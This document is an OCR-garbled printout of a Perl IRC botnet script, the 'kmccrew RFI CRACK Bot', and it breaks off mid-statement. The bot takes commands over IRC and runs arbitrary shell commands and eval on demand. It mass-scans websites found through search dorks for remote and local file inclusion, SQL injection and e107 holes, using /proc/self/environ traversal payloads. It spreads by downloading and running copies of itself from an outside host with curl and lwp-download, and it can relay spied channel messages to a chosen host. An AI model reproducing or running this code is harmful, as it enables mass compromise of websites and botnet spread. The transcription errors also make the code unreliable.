

e-1.txt

```
#!/usr/bin/perl
my $aboutbot='
#####
# kmccrew RFI CRACK Bot v1.1 #
# By kmccrew      jan 2010. #
# kmccrew@yahoo.com #
#####
';
print($aboutbot);
use strict;
use Socket;
use IO::Select;
use IO::Socket::INET;
use LWP::UserAgent;
use HTTP::Request::Common qw(POST);

my $versi = "undetected";
my @cmdpreZ = ("%");
my $cmdpre = $cmdpreZ[rand(scalar(@cmdpreZ))];

##[ KONFIGURASI URL ]##
my $ckrid = "http://mimi.fileave.com/tes/e.txt?";
my $ckrid2 = "http://mimi.fileave.com/tes/e.txt?";
my $bypass = "http://uk.bp1ed.com/black-google.php?";
my $spread = "http://mimi.fileave.com/tes/xbot.txt?";
my $spread2 = "http://mimi.fileave.com/tes/spread.txt?";
my $joomla = "http://www.grovecityinsider.com/kmccrew/joomla.txt";

##[ KONFIGURASI IRC ]##
my @servers = ("208.115.208.167", "111.221.40.127");
my @nickcrs = ("auto-");
my %bot = (
    nick =>
    $nickcrs[rand(scalar(@nickcrs))].int(rand(10)).int(rand(10)).int(rand(10)).int(rand(10)),
    ident => $nickcrs[rand(scalar(@nickcrs))].$nickcrs[rand(scalar(@nickcrs))],
    chan => ["#death"],
    server => $servers[rand(scalar(@servers))],
    port => "6667",
    passerv => ""
);

##[ KONFIGURASI USER ]##
my %boss = (
    Rizki => {
        pass => 'auto',
        status => "admin",
        cryptz => 0,
        login => 0
    },
    pempek => {
        pass => 'auto',
        status => "admin",
        cryptz => 0,
        login => 0
    },
    given => {
        pass => 'auto',
        status => "admin",
        cryptz => 0,
        login => 0
    }
);

##[ KONFIGURASI LOCAL ]##
my $lfitest =
"../../../../../../../../../../../../../../../../../../../../proc/self/environ%00";
```

```

e-1.txt
my $lfid2 = bukasitus($Ckrid2);
my $lfsprd = bukasitus($spread);
my $lfsprd2 = bukasitus($spread2);
my $e107sprd = "include('http://mimi.fileave.com/tes/xbot.txt??')";
my $e107cmdsp= "'cd /var/tmp;cd /tmp;lwp-download
http://mimi.fileave.com/tes/xbot.txt??;perl xbot.txt;curl -O

http://mimi.fileave.com/tes/xbot.txt -O xbot.txt;perl xbot.txt";
my $e107sprd2=
"passthru(".$e107cmdsp.");exec(".$e107cmdsp.");system(".$e107cmdsp.");shell_exec
(".$e107cmdsp.");";
my $e107cmdsp2= "'cd /var/tmp;cd /tmp;lwp-download
http://mimi.fileave.com/tes/e.txt -O e.txt;curl -O

http://mimi.fileave.com/tes/e.txt -O e.txt;perl e.txt";
my $e107sprd3=
"passthru(".$e107cmdsp2.");exec(".$e107cmdsp2.");system(".$e107cmdsp2.");shell_e
xec(".$e107cmdsp2.");";
my $cmdlfui = "";
my $cmdrfui = "";
my $cmdxmlu = "";
my $sqltest = "";
my $lfiUA = "";

##[ KONFIGURASI SPY ]##
my %spy = (
    host => "",
    chanz => [""],
    wordz => ['http://.+?[=]'],
    foundz => []
);

##[ KONFIGURASI BOT ]##
my %conf = (
    showsite => 0,
    showdbse => 0,
    linez => 3,
    sleepz => 3,
    rfipid => 50,
    rficnt => 100,
    rficnt2 => 200,
    timeout => 15,
);

##[ KONFIGURASI WARNA ]##
my %colz = (
    1 => "\04,15-\04,14-\04,1=\08,1 " , 2 => "\04,1=\010,14-\010,15-\0", #Header
    3 => "\04,15-\04,14-\04,1=" , 4 => "\010,14-\010,15-\0", #Proses
);

##[ PARAMETER BARIS PERINTAH ]##
$bot{chan} = "#".$ARGV[0] if $ARGV[0];
$bot{server} = $ARGV[1] if $ARGV[1];
$bot{port} = $ARGV[2] if $ARGV[2];

##[ INISIALISASI VARIABEL ]##
my $chanx = "#death"; #2nd Channel to show the results of vunerable site
my $dbgchan = "#death"; #For debugging purposes (Optional)
my @chans = ($bot{chan});
my @badbugz = ("scan","bug"); #Bad bugs to cancel scanning
my @baddorkz = ("dork"); #Bad dorks to cancel scanning
my @badlinkz =
("access*log","accesslog","awstats","error.log","wwwstats","google.com","yahoo.c
om"); #Bad links to exclude
my $keluar = 0;
my $sock;

##[ PROGRAM UTAMA ]##

```

e-1.txt

```
if (fork() == 0) {
    while ($keluar != 1) { if($aboutbot =~ /kmccrew/){irc_connect();} }
    die("keLUAR!");
}

##[ SUBRUTIN KONEKSI IRC ]##
sub irc_connect {
    $sock = IO::Socket::INET->new(PeerAddr => $bot{server},
                                  PeerPort => $bot{port},
                                  Proto => 'tcp')
    or die "Error: Ga bisa connect ke
". $bot{server}." : ". $bot{port}." !\r\n";
    $sock->autoflush(1);

    if ($bot{passerv} != "") {irc_pasv($bot{passerv});}
    irc_nick($bot{nick});
    irc_user($bot{ident});

    my ($baris,$hb);
    my $loginboss = 0;
    my $userstat = "";

    while ( $baris = <$sock> ) {
        $hb++;

        ##[ PARSING ]##
        my $com;
        my $me = $bot{nick};
        my ($fcom,$dteks,@teks) = split(/\s+:/,$baris);
        my ($duhost,$dcom,$dtarget) = split(/ /,$fcom);
        my ($dnick,$dhost) = split(/!/, $duhost);
        $dcom = "" unless ($dcom);
        $dtarget = "" unless ($dtarget);
        $dnick =~ s/://;
        $dteks = trimrn($dteks);
        if ($dteks =~ /^[ $cmdpre](.*)/) { $com = $1; } else { $com = ""; }

        ##[ CEK USER ]##
        if ($boss{$dnick}) { ($loginboss,$userstat) =
($boss{$dnick}{"login"},$boss{$dnick}{"status"}); }
        else { ($loginboss,$userstat) = (0,""); }

        ##[ RESPON KE SERVER ]##
        if ($dnick =~ /PING/) { irc_raw("PONG $dteks"); }
        if ($dcom =~ /001/) { irc_join($chanx); irc_join($dbgchan); foreach my $c
(@chans) { irc_join($c); } }
        elsif ($dcom =~ /NICK|PART|QUIT/) { if ( $boss{$dnick}{"login"} == 1 ) {
$boss{$dnick}{"login"} = 0; irc_ntc
($dnick,"Logout!"); } }

        ##[ PERINTAH PUBLIK ]##
        if (($dtarget) && ($dtarget eq $me)) { $dtarget = $dnick; }
        if (($dteks =~ /$bot{nick}\s+(.+?)\s+(.*)/) && ( fork() == 0 )){
            my ($cmdcr,$crcmd)=( $1,$2);
            my $crscan = $cmdcr." ".$crcmd;
            my $cmd = "python kmccrew ".$crcmd;
            if($cmdcr =~ /sql/) {
                irc_msg($dtarget,"Procesing [SQLI] ".$crcmd);
                if ($cmd =~ /;/) { irc_msg($dtarget,"Error!"); return; }
            }
            else{
                my @output = ` $cmd `;
                my $i = 0;
                foreach my $out (@output) {
                    $i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); }
                    irc_msg($dtarget,"$out");
                }
            }
            exit;
        }
    }
}
```

Seite 3

```

    }
    }
    elseif($crscan =~ /sql\s+(.+?[=])\s+(.*)/) { if ($dtarget &&
$dtarget ne $me) { crsql_scanz($dtarget,$1,$2,
$hb,1,1); exit; }}
    elseif($crscan =~ /domxml\s+(.+?)\s+(.*)/) { if ($dtarget &&
$dtarget ne $me) { crsql_scanz($dtarget,$1,$2,
$hb,2,2); exit; }}
    elseif($crscan =~ /xml\s+(.+?)\s+(.*)/) { if ($dtarget &&
$dtarget ne $me) { crsql_scanz($dtarget,$1,$2,
$hb,2,1); exit; }}
    elseif($crscan =~ /dome107\s+(.+?)\s+(.*)/) { if ($dtarget &&
$dtarget ne $me) { crsql_scanz($dtarget,$1,$2,
$hb,3,2); exit; }}
    elseif($crscan =~ /e107\s+(.+?)\s+(.*)/) { if ($dtarget &&
$dtarget ne $me) { crsql_scanz($dtarget,$1,$2,
$hb,3,1); exit; }}
    elseif($crscan =~ /domscan\s+(.+?[=])\s+(.*)/) { if ($dtarget &&
$dtarget ne $me) { s_scanz($dtarget,$1,$2,
$hb,2,2); exit; }}
    elseif($crscan =~ /scan\s+(.+?[=])\s+(.*)/) { if ($dtarget &&
$dtarget ne $me) { s_scanz($dtarget,$1,$2,
$hb,2,1); exit; }}
}
if ($com =~ /^help$/) { bot_help($dtarget,1); }
elseif ($com =~ /^info$/) { bot_info($dtarget); }
elseif ($com =~ /^url(en|de)\s+(.*)/) {
my $url = $2; my $en;
if ( $1 eq "en" ) { $en = "Encode"; $url = urlen($url); }
elseif ( $1 eq "de" ) { $en = "Decode"; $url = urlde($url); }
msgi($dtarget,"URL $en", $url);
}
elseif ($com =~ /^cek\s+(http:\|\/\|.*[=])/) { cek_shell($dtarget,$dnick,$1); }
###
elseif ($com =~ /^ip\s+(.*)/) { cr_ipcek($dtarget,$1); }
elseif ($com =~ /^zip\s+(.*)/) { cr_zipcek($dtarget,$1); }
elseif ($com =~ /^textenc\s+(.*)/) { cr_encrypt($dtarget,$1); }
elseif ($com =~ /^textdec\s+(.*)/) { cr_decrypt($dtarget,$1); }
###
elseif ($com =~ /^respon/) { cek_respon($dtarget); }
elseif ($com =~ /^milw0rm\s+(.*)/) { milw0rm($dtarget,$1); }
elseif ($com =~ /^auth$|auth\s+(.*)/ && $boss{$dnick}) {
my $pass = $1; my $auth = $boss{$dnick}{"login"};
if ( $pass && $auth == 0 ) {
if ($boss{$dnick}{"cryptz"} == 1) { $pass = cryptz($pass); }
if ($pass eq $boss{$dnick}{"pass"}) {
$boss{$dnick}{"login"} = 1;
irc_ntc($dnick,"OK ".$boss{$dnick}{"status"}."!");
}
}
else { irc_ntc($dnick,"Error!"); }
}
else {
if ($auth == 0) { irc_ntc($dnick,"Blom auth!"); }
else { irc_ntc($dnick,$boss{$dnick}{"status"}."!"); } }
}
if ($dtarget && $dtarget ne $me) {
if (($com =~ /\^scan\s+(.+?[=])\s+(.*)/) && (fork() == 0)) {
s_scanz($dtarget,$1,$2,$hb,1,1); exit; }
elseif (($com =~ /\^scan2\s+(.+?[=])\s+(.*)/) && (fork() == 0)) {
s_scanz($dtarget,$1,$2,$hb,2,1); exit; }
elseif (($com =~ /\^cmdlfi\s+(.+?[=])\s+(.*)/)) {

```

```

e-1.txt
irc_msg($dtarget,"Cek target ".$dnick."!"); cmd_lfi
($dtarget,$1,$2); }
    elseif (($com =~ /\^cmdrfi\s+(.+?)[=])\s+(.*)/) {
irc_msg($dtarget,"Cek target ".$dnick."!"); cmd_rfi
($dtarget,$1,$2); }
    elseif (($com =~ /\^cmdxml\s+(.+?)\s+(.*)/) {
irc_msg($dtarget,"Cek target ".$dnick."!"); cmd_xml
($dtarget,$1,$2); }
    elseif (($com =~ /\^cmde107\s+(.+?)\s+(.*)/) {
irc_msg($dtarget,"Cek target ".$dnick."!");
cmd_e107($dtarget,$1,$2); }
}
##[ END OF PUBLIC ]##

##[ PERINTAH USER ]##
if ($loginboss == 1) {
    if ($com =~ /\^help/) { bot_help($dtarget,2); }
    elseif ($com =~ /\^join\s+(.*)/) { irc_join($1); push(@chans,$1); }
    elseif ($com =~ /\^part\s+(.*)/) {
        my $pchan = $1; irc_part($1);
        for my $i(0..scalar(@chans)) { if ($chans[$i] eq $pchan) { undef
$chans[$i]; } }
    }
    elseif ($com =~ /\^nick\s+(.*)/) { $bot{nick} = $1; irc_nick($bot{nick}); }
    elseif ($com =~ /\^hitung\s+([0-9].*)/) { $conf{rficnt} = $1;
msgi($dtarget,"Count",$conf{rficnt}); }
    elseif ($com =~ /\^bos$/ ) { my @bos = keys %boss; my $bos2 = join("
",@bos); msgi($dtarget,"BoZz",$bos2); }
    elseif ($com =~ /\^cryptz\s+(.*)/) { msgi($dnick,$1,cryptz($1)); }
    elseif ($com =~ /\^logout$/ ) { $boss{$dnick}{"login"} = 0;
irc_ntc($dnick,"Logout berhasil!"); }
    elseif (($com =~ /\^joomla\s+(.*)/) && (fork() == 0)) {
s_scanz($dtarget,"",$1,$hb,3,1); exit; }
    elseif ($com =~ /\^sublink\s+(.*)/) { my @s1 = lnk_sub($1); foreach my
$e(@s1) { irc_msg($dtarget,$e); } }
    elseif ($com =~ /\^http(1|2|3)\s+(.+?)\s+(.*)/) {
        my ($t,$nf,$q) = ($1,$2,$3);
        my $h;
        if ($t == 1) { $h = bukasitus($q); }
        elseif ($t == 2) { $h = bukasitus2($q); }
        else { $h = bukasitus3($q); }
        f_simpan2($nf,$h); ntc($dnick,"saveD ($t)", $nf);
    }
    elseif ($com =~ /\^regex(1|2)\s+(.+?)\s+(.*)/) {
        my $n = $1;
        my $q = bukasitus($2);
        my $regex = $3;
        if ($n == 1) {
            if ($q !~ /$regex/) { irc_msg($dtarget,"Ga cocok!"); }
            while ($q =~ m/$regex/g ) { irc_msg($dtarget,$1); sleep(1); }
        }
        else {
            while ($q =~ m/<a href=\"(.*)\">http://\/(.*)</a>/g) {
irc_msg($dtarget,$2); sleep(1); }
        }
    }
}
##[ END OF USER ]##

##[ PERINTAH ADMIN ]##
if (($loginboss == 1) && ($userstat eq "admin")) {
    if ($com =~ /\^help/) { bot_help($dtarget,3); }
    elseif ($com =~ /\^chans/) { my $chans = join(""," ", @chans);
ntci($dnick,"ChanZ",$chans); }
}

```

e-1.txt

```
##[ PERINTAH SPY ]##
elseif ($com =~ /\^spy$/ ) { ntc($dnick,"SpY","Host: ".$spy{"host"}."
chans: ".join(", ", @{$spy{"chanz"}}). " words:
".join(", ", @{$spy{"wordz"}})); }
elseif ($com =~ /\^spy(found|show|clear)$/ ) {
my $n = $1;
if ($n eq "found") { msg($dtarget,"SpYFouNd",scalar(@{$spy{"foundz"}}
)); }
elseif ($n eq "show") {
my $i = 0;
for my $f (@{$spy{"foundz"}}) { irc_msg($dtarget,$f); }
$i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); }
}
elseif ($n eq "clear") { $spy{"foundz"} = [];
msg($dtarget,"SpyList","DiBersiHkaN!"); }
else { msge($dtarget,"Spy","PeRinTah SaLah!"); }
}
elseif ($com =~ /\^spyhost\s+(.*)/ ) { $spy{"host"} = $1;
ntc($dnick,"SpYHoSt",$spy{"host"}); }
elseif ($com =~ /\^spychan\s+(.*)/ ) {
unless ($spy{"host"}) { msge($dtarget,"SiLaHkaN SeT SpyHost TerLebih
DahuLu!",""); }
else{ irc_join($1); push @{$spy{"chanz"}}, $1; my $chans = join(", ",
@{$spy{"chanz"}}); ntc
($dnick,"SpYChaZ",$chans); }
}
elseif ($com =~ /\^spyword\s+(.*)/ ) { push @{$spy{"wordz"}}, $1; my
$words = join(", ", @{$spy{"wordz"}}); ntc
($dnick,"SpYWoRdZ",$words); }
##[ END OF PERINTAH SPY ]##
elseif ($com =~ /\^quit/) { irc_quit("Good Bye!"); $keluar = 1; exit; }
elseif ($com =~ /\^keluar/) { irc_quit("Killed!"); $keluar = 1;
system("killall perl"); exit; }
elseif ($com =~ /\^raw\s+(.*)/) { irc_raw($1); }
elseif ($com =~ /\^rfipid\s+([0-9].*)/) { $conf{rfipid} = $1;
msg($dtarget,"Pid",$conf{rfipid}); }
elseif ($com =~ /\^crespon(1|2)\s+(.*)/) {
my ($n,$url) = ($1,$2);
if ($n == 1) { $ckrid = $url; }
elseif ($n == 2) { $ckrid2 = $url; }
msg($dtarget,"Respon $n RFI",$url);
}
elseif ($com =~ /\^cspread1\s+(.*)/) {
my $url = $1;
$spread = $url;
$lfisprd = bukasitus($spread);$lfisprd2 = bukasitus($spread2);
msg($dtarget,"Spread",$spread);
}
elseif ($com =~ /\^cspread2\s+(.*)/) {
my $url = $1;
$spread2 = $url;
$lfisprd = bukasitus($spread);$lfisprd2 = bukasitus($spread2);
msg($dtarget,"Spread2",$spread2);
}
elseif ($com =~ /\^cmdspreload\s+(.*)/) {
my $url = $1;
$e107sprd2 = $url;
msg($dtarget,"cmdSpread",$url);
}
}
elseif ($com =~ /\^cshurl\s+(.*)/) {
my $url = $1."/";
$ckrid = $url."ckrid1.txt?";
$ckrid2 = $url."ckrid2.txt?";
$spread = $url."casper.txt?";
$spread2 = $url."casper2.txt?";
```

Seite 6

```

                                e-1.txt
    $!fisprd = bukasitus($url."kmccrew.txt?");
    $!fisprd2= bukasitus($url."kmccrew2.txt?");
    msgi($dtarget,"shurl",$url);
}
elseif ($com =~ /\^+\bos\s+(.+?)\s+(.*)/) {
    $boss{$1}{pass} = "cr";
    $boss{$1}{status} = $2;
    $boss{$1}{login} = 0;
    $boss{$1}{cryptz} = 0;
    ntc($dnick,"BoZz","$1 ditambahkan sbg ".$boss{$1}{status});
    msgi($1,"BoZz","Hai $1! Ketik .auth ".$boss{$1}{pass});
}
elseif ($com =~ /\^eval\s+(.*)/) { eval($1); }
elseif (( $com =~ /\^cmd\s+(.*)/) && ( fork() == 0 ) ) {
    my $cmd = $1;
    if ($cmd =~ /cd (.*)/) { chdir("$1") || irc_msg($dtarget,"Ga bisa ganti
dir!"); return; }
    my @output = ` $cmd `;
    my $i = 0;
    foreach my $out (@output) {
        $i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); }
        irc_msg($dtarget,"$out");
    }
    exit;
}
}
}
## END OF ADMIN ##

##[ MATA-MATA ]##
if ($dtarget ne $spy{"host"}) {
    my $is_spychan = grep $_ eq $dtarget, @{$spy{"chanz"}};
    if ($is_spychan == 1) {
        for my $t (@{$spy{"wordz"}}) {
            if ($dteks =~ /$t/) {
                msgi($spy{"host"},"!",$dteks); sleep(1);
                push @{$spy{"foundz"}}, $dteks;
            }
        }
    }
}
}
##[ END OF MATA-MATA ]##
}
## END WHILE ##
}
## END KONEK ##

#####
##[ RUTIN EKSPLOITASI ]##
#####
sub s_scanz {
    my ($to,$bug,$dork,$sb,$type,$autodom) = @_;
    $sb = "cr".$sb.".txt";
    $dork = bersihdork($to,$dork);
    my @domini = SiteDomains();

    if($autodom == 1){
        my %typez = (
            1 => "RFI & LFI & XML & SQL ScaNner",
            2 => "RFI & LFI & XML & SQL ScaN & ExpLoiT",
            3 => "JooMLa MaSS ScaN & ExpLoiT"
        );
        my $badbug = cek_bug($bug);
        if ($badbug == 1) { irc_msg($to,"BuGnya JeLek! ScaNning DiCanCeL"); return; }
        my $baddork = cek_dork($dork);
        if ($baddork == 1) { irc_msg($to,"DorKnya JeLek! ScaNning DiCanCeL"); return; }
    }
    if ($type == 3) {
        my $h = bugjoomla("hitung");

```

```

                                e-1.txt
    if ($h == 0) { msge($to,"Joomla","BuGnya Ga Bisa DiLoad! Scanning
DiCanCel"); return; }
    }
    irc_msg($to,$colz{1}."MeMeRikSa ResPoN..".$colz{2});
    my $stat = cek_respon($to);
    if ($stat != 2) { irc_msg($to,$colz{1}."ReSpON Ga BeKerJa! Scanning
diCaNCeL!".$colz{2}); return; }

    irc_msg($to,$colz{1}."".$typez{$type}." DiMuLai! ".$conf{rfipid}."/PID ID:
$sb".$colz{2});

    irc_msg($to,$colz{1}."BuGz: $bug ") if ($type != 3);
    irc_msg($to,$colz{1}."DoRkz: $dork ");
    s_cari($to,$dork,$sb,$bug,$type);
    s_eksploit(1,$to,$bug,$dork,$sb) if ($type == 1);
    irc_msg($to,$colz{1}."".$typez{$type}." SeLeSai! $dork ID: $sb".$colz{2});
    return;
    }
    elsif($autodom == 2){
    foreach my $Domains(@domini){

    my %typez = (
        1 => "Auto Domain RFI & LFI & XML & SQL ScaNner",
        2 => "Auto Domain RFI & LFI & XML & SQL ScaN & ExpLoiT",
        3 => "Auto Domain Joomla MaSs ScaN & ExpLoiT"
    );
    my $badbug = cek_bug($bug);
    if ($badbug == 1) { irc_msg($to,"BuGnya JeLek! Scanning DiCanCel"); return; }
    my $baddork = cek_dork("*. ".$Domains." ".$dork);
    if ($baddork == 1) { irc_msg($to,"DorKnya JeLek! Scanning DiCanCel"); return;
}
    if ($type == 3) {
        my $h = bugjoomla("hitung");
        if ($h == 0) { msge($to,"Joomla","BuGnya Ga Bisa DiLoad! Scanning
DiCanCel"); return; }
        }
        irc_msg($to,$colz{1}."MeMeRikSa ResPoN..".$colz{2});
        my $stat = cek_respon($to);
        if ($stat != 2) { irc_msg($to,$colz{1}."ReSpON Ga BeKerJa! Scanning
diCaNCeL!".$colz{2}); return; }

        irc_msg($to,$colz{1}."".$typez{$type}." DiMuLai! ".$conf{rfipid}."/PID ID:
$sb".$colz{2});

        irc_msg($to,$colz{1}."BuGz: $bug ") if ($type != 3);
        irc_msg($to,$colz{1}."DoRkz: *. ".$Domains." ".$dork);
        s_cari($to,"*. ".$Domains." ".$dork,$sb,$bug,$type);
        s_eksploit(1,$to,$bug,"* ".$Domains." ".$dork,$sb) if ($type == 1);
        irc_msg($to,$colz{1}."".$typez{$type}." SeLeSai! * ".$Domains." ".$dork." ID:
$sb".$colz{2});

    }
    return;
    }
}

sub crsq]_scanz {
    my ($to,$bug,$dork,$sb,$type,$autodom) = @_;
    $sb = "cr".$sb.".txt";
    $dork = bersihdork($to,$dork);
    my @domini = SiteDomains();
    if($autodom == 1){
    if ($type == 1){
    my $badbug = cek_bug($bug);
    if ($badbug == 1) { irc_msg($to,"BuGnya JeLek! Scanning DiCanCel"); return; }
    }
}
}

```

e-1.txt

```
my $baddork = cek_dork($dork);
if ($baddork == 1) { irc_msg($to,"DorKnya JeLek! ScaNning DiCanCeL"); return;
}
if ($type == 1){
irc_msg($to,$colz{1}."SQL ScAN & ExpLoiT DiMuLai! ".$conf{rfipid}."/PID ID:
$sb".$colz{2});
crsql_cari($to,$bug,$dork,$sb,1);
}
if ($type == 2){
irc_msg($to,$colz{1}."XML ScAN & ExpLoiT DiMuLai! ".$conf{rfipid}."/PID ID:
$sb".$colz{2});
crsql_cari($to,$bug,$dork,$sb,2);
}
if ($type == 3){
irc_msg($to,$colz{1}."e107 ScAN & ExpLoiT DiMuLai! ".$conf{rfipid}."/PID ID:
$sb".$colz{2});
crsql_cari($to,$bug,$dork,$sb,3);
}

irc_msg($to,$colz{1}."BuGz: $bug ");
irc_msg($to,$colz{1}."DoRkz: $dork ");

if ($type == 1){ irc_msg($to,$colz{1}."SQL ScAN & ExpLoiT SeLeSai! $dork ID:
$sb".$colz{2}); }
if ($type == 2){ irc_msg($to,$colz{1}."XML ScAN & ExpLoiT SeLeSai! $dork ID:
$sb".$colz{2}); }
if ($type == 2){ irc_msg($to,$colz{1}."e107 ScAN & ExpLoiT SeLeSai! $dork ID:
$sb".$colz{2}); }
return;
}

elsif($autodom == 2){
foreach my $Domains(@domini){
if ($type == 1){
my $badbug = cek_bug($bug);
if ($badbug == 1) { irc_msg($to,"BuGnya JeLek! ScaNning DiCanCeL"); return; }
}

my $baddork = cek_dork("*. ".$Domains." ".$dork);
if ($baddork == 1) { irc_msg($to,"DorKnya JeLek! ScaNning DiCanCeL"); return;
}
if ($type == 1){
irc_msg($to,$colz{1}."Auto Domain SQL ScAN & ExpLoiT DiMuLai!
".$conf{rfipid}."/PID ID: $sb".$colz{2});
crsql_cari($to,$bug,"* ".$Domains." ".$dork,$sb,1);
}
if ($type == 2){
irc_msg($to,$colz{1}."Auto Domain XML ScAN & ExpLoiT DiMuLai!
".$conf{rfipid}."/PID ID: $sb".$colz{2});
crsql_cari($to,$bug,"* ".$Domains." ".$dork,$sb,2);
}
if ($type == 3){
irc_msg($to,$colz{1}."Auto Domain e107 ScAN & ExpLoiT DiMuLai!
".$conf{rfipid}."/PID ID: $sb".$colz{2});
crsql_cari($to,$bug,"* ".$Domains." ".$dork,$sb,3);
}

irc_msg($to,$colz{1}."BuGz: $bug ");
irc_msg($to,$colz{1}."DoRkz: * ".$Domains." ".$dork);

if ($type == 1){ irc_msg($to,$colz{1}."Auto Domain SQL ScAN & ExpLoiT SeLeSai!
* ".$Domains." ".$dork." ID: $sb".$colz
{2}); }
if ($type == 2){ irc_msg($to,$colz{1}."Auto Domain XML ScAN & ExpLoiT SeLeSai!
* ".$Domains." ".$dork." ID: $sb".$colz
{2}); }
}
```

Seite 9

```

                                e-1.txt
if ($type == 2){ irc_msg($to,$colz{1}."Auto Domain e107 ScaN & ExpLoiT
SeLeSai! *.".$Domains." ".$dork." ID: $sb".$colz
{2}); }
}
return;
}
}

sub s_eksploit {
#Type: 1 = Biasa, 2 = Cari dan exploit, 3 = Joomla
#Engine: Kosong = Eksploit total, Ada = Eksploit per engine
my ($type,$chan,$bug,$dork,$tf,$engine) = @_;
my @prosesbaru;
my @semuatarget;
my $hitung;
my $num = 0;
my @bugjoomla = bugjoomla($chan) if ($type == 3);
unless (open(FILEZ,"< $tf")) { msge($chan,"FILE","Ga Bisa Buka $tf!"); return;
}
while (my $r = <FILEZ>) { $r =~ s/\n//g; push(@semuatarget,$r); }
close(FILEZ);
f_hapus($tf);
my @kotor = lnk_sortir(@semuatarget);
my @target = lnk_filter(@kotor);
if (!$engine) {
    irc_msg($chan,$colz{1}."HaSiL PeNCaRian $dork".$colz{2});
    irc_msg($chan,$colz{1}."ToTaL: ".scalar(@semuatarget)." KoToR:
".$colz{1}." BeRsih: ".scalar(@target)." ID:
$tf".$colz{2}." ".$colz{1}."ExpLoiTasi DiMuLai!".$colz{2});
}
foreach my $situs (@target) {
    $hitung++;
    if ($hitung % $conf{rfipid} == 0) {
        foreach my $f (@prosesbaru) { waitpid($f,0); }
        $num = 0;
    }
    if ($type == 1 && $hitung % $conf{rficnt} == 0) {
        irc_msg($dbgchan,$situs) if ($conf{showsites} == 1);
        irc_msg($chan,$colz{3}.$hitung." ".scalar(@target).$colz{4});
    }
    if ($type != 1 && $hitung % $conf{rficnt2} == 0) {
        irc_msg($dbgchan,$situs) if ($conf{showsites} == 1);
        irc_msg($chan,"^9,1 $engine^15 ".$hitung."^14 ". scalar(@target). " 0");
    }
    $prosesbaru[$num] = fork();
    if ($prosesbaru[$num] == 0) {
        if ($type != 3) {
            my $q = bukasitus("http://".$situs.$bug.$ckrid."?");
            if ($q =~ /kmccrew_kae/) { safemode(1,$chan,$situs,$bug,$engine);
sleep($conf{sleeppz});
}
                elsif($q =~ /failed to open stream/){
                    my $qlfi = bukasitus("http://".$situs.$bug.$lfitest);
                    if ($qlfi =~ /HTTP_USER_AGENT/){
safemode(1,$chan,$situs,$bug.$lfitest."&kmccrew=", $engine);
sleep($conf{sleeppz});
}
                }
                elsif ($qlfi !~ /HTTP_USER_AGENT/){ $qlfi = bukasitus("http://".$situs.
$bug."../../../../../../../../../../../../../../../../../../../../proc/self/e
nviron%00"); if ($qlfi =~
/HTTP_USER_AGENT/){ safemode(1,$chan,$situs,

```

```

$bug.."../../../../../../../../../../../../../../../../../../../../proc/self/e
nviron%00&kmccrew=", $engine); sleep($conf
{sleepz}); } }
    elseif ($qlfi !~ /HTTP_USER_AGENT/){ $qlfi = bukasitus("http://".$situs.
$bug.."../../../../../../../../../../../../../../../../../../../../proc/self/envi
ron%00"); if ($qlfi =~ /HTTP_USER_AGENT/){
safemode(1,$chan,$situs,$bug.."../../../../../../../../../../../../../../../../..
../../../../proc/self/environ%00&kmccrew=",
$engine); sleep($conf{sleepz}); } }
    elseif ($qlfi !~ /HTTP_USER_AGENT/){ $qlfi = bukasitus("http://".$situs.
$bug.."../../../../../../../../../../../../../../../../../../../../proc/self/environ
%00"); if ($qlfi =~ /HTTP_USER_AGENT/){
safemode(1,$chan,$situs,$bug.."../../../../../../../../../../../../../../../../..
../../../../proc/self/environ%00&kmccrew=",
$engine); sleep($conf{sleepz}); } }
    elseif ($qlfi !~ /HTTP_USER_AGENT/){ $qlfi = bukasitus("http://".$situs.
$bug.."../../../../../../../../../../../../../../../../../../../../proc/self/environ%00
"); if ($qlfi =~ /HTTP_USER_AGENT/){
safemode(1,$chan,$situs,$bug.."../../../../../../../../../../../../../../../../..
../../../../proc/self/environ%00&kmccrew=",
$engine); sleep($conf{sleepz}); } }
    elseif ($qlfi !~ /HTTP_USER_AGENT/){ $qlfi = bukasitus("http://".$situs.
$bug.."../../../../../../../../../../../../../../../../../../../../proc/self/environ%00");
if ($qlfi =~ /HTTP_USER_AGENT/){ safemode
(1,$chan,$situs,$bug.."../../../../../../../../../../../../../../../../../../../../proc/se
lf/environ%00&kmccrew=", $engine); sleep
($conf{sleepz}); } }
    elseif ($qlfi !~ /HTTP_USER_AGENT/){ $qlfi = bukasitus("http://".$situs.
$bug.."../../../../../../../../../../../../../../../../../../../../proc/self/environ%00"); if
($qlfi =~ /HTTP_USER_AGENT/){ safemode(1,
$chan,$situs,$bug.."../../../../../../../../../../../../../../../../../../../../proc/self/env
iron%00&kmccrew=", $engine); sleep($conf
{sleepz}); } }
    elseif ($qlfi !~ /HTTP_USER_AGENT/){ $qlfi = bukasitus("http://".$situs.
$bug.."../../../../../../../../../../../../../../../../../../../../proc/self/environ%00"); if
($qlfi =~ /HTTP_USER_AGENT/){ safemode(1,
$chan,$situs,$bug.."../../../../../../../../../../../../../../../../../../../../proc/self/enviro
n%00&kmccrew=", $engine); sleep($conf
{sleepz}); } }
    elseif ($qlfi !~ /HTTP_USER_AGENT/){ $qlfi = bukasitus("http://".$situs.
$bug.."../../../../../../../../../../../../../../../../../../../../proc/self/environ%00"); if
($qlfi =~ /HTTP_USER_AGENT/){ safemode(1,$chan,
$situs,$bug.."../../../../../../../../../../../../../../../../../../../../proc/self/environ%00&kmcc
rew=", $engine); sleep($conf{sleepz}); } }
    elseif ($qlfi !~ /HTTP_USER_AGENT/){ $qlfi = bukasitus("http://".$situs.
$bug.."../../../../../../../../../../../../../../../../../../../../proc/self/environ%00"); if ($qlfi

```

```

e-1.txt
=~ /HTTP_USER_AGENT/){ safemode(1,$chan,
$ situs,$bug.."../../../../../../../../../../../../../../../../proc/self/environ%00&kmccrew
=", $engine); sleep($conf{sleepz}); } }
elseif ($qlfi !~ /HTTP_USER_AGENT/){ $qlfi = bukasitus("http://".$situs.
$bug.."../../../../../../../../../../../../../../../../proc/self/environ%00"); if ($qlfi =~
/HTTP_USER_AGENT/){ safemode(1,$chan,
$ situs,$bug.."../../../../../../../../../../../../../../../../proc/self/environ%00&kmccrew=",
$engine); sleep($conf{sleepz}); } }
elseif ($qlfi !~ /HTTP_USER_AGENT/){ $qlfi = bukasitus("http://".$situs.
$bug.."../../../../../../../../../../../../../../../../proc/self/environ%00"); if ($qlfi =~
